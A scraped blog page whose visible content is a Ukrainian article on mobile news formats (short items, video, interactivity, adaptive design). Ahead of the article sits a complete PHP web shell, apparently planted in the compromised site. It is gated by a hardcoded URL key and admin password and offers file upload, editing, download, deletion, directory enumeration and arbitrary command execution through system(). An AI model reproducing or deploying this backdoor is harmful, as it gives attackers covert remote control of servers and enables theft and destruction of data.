if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Мобільні новини: формати та підходи для смартфонів – collectives.berlin

Your digital paradise.

Мобільні новини: формати та підходи для смартфонів

У сучасному світі мобільні новини стали невід’ємною частиною інформаційного споживання. З розвитком технологій та зростанням популярності смартфонів, in.ua новинні формати адаптуються до потреб користувачів, які прагнуть отримувати інформацію швидко та зручно. У цьому звіті ми розглянемо основні формати та підходи до створення мобільних новин для смартфонів.

По-перше, важливим аспектом є короткі новини або “новини в один рядок”. Цей формат дозволяє читачам швидко ознайомитися з основними подіями, не витрачаючи багато часу. Зазвичай такі новини супроводжуються яскравими заголовками та короткими описами, що дозволяє залучити увагу користувачів у стрічці новин.

По-друге, відео новини набирають популярності. Користувачі смартфонів надають перевагу візуальному контенту, тому новинні агенції почали активно використовувати короткі відеоролики для передачі інформації. Відео може супроводжуватися коментарями експертів або репортажами з місця подій, що робить його більш інформативним та цікавим.

Третім важливим форматом є інтерактивні новини. Це можуть бути опитування, голосування або інтерактивні графіки, які дозволяють користувачам не лише читати новини, але й брати участь в обговореннях та висловлювати свої думки. Інтерактивність підвищує залученість аудиторії та робить споживання новин більш активним.

Крім того, мобільні новини часто використовують формат “історій”, який дозволяє розповідати про події у формі серії коротких повідомлень. Це зручно для споживачів, які можуть переглядати новини в зручному для себе ритмі, а також зберігати цікаві матеріали для подальшого прочитання.

Не менш важливим є адаптивний дизайн. Оскільки користувачі смартфонів можуть мати різні розміри екранів, новини повинні бути оптимізовані для різних пристроїв. Адаптивний дизайн забезпечує зручність читання, дозволяючи користувачам без проблем переглядати контент, незалежно від їхнього пристрою.

Також важливо враховувати швидкість завантаження новин. Користувачі смартфонів часто перебувають у русі, тому повільні сайти або додатки можуть відштовхувати їх від споживання новин. Оптимізація контенту та використання технологій, які забезпечують швидке завантаження, є ключовими факторами успіху.

На завершення, мобільні новини постійно еволюціонують, адаптуючись до змін у поведінці користувачів та технологічних нововведень. Формати, які включають короткі новини, відео, інтерактивність та адаптивний дизайн, стають основними підходами в цій сфері. Важливо, щоб новинні агенції продовжували експериментувати з новими формами подачі інформації, щоб задовольнити потреби сучасних читачів.

Leave a Reply

Your email address will not be published. Required fields are marked *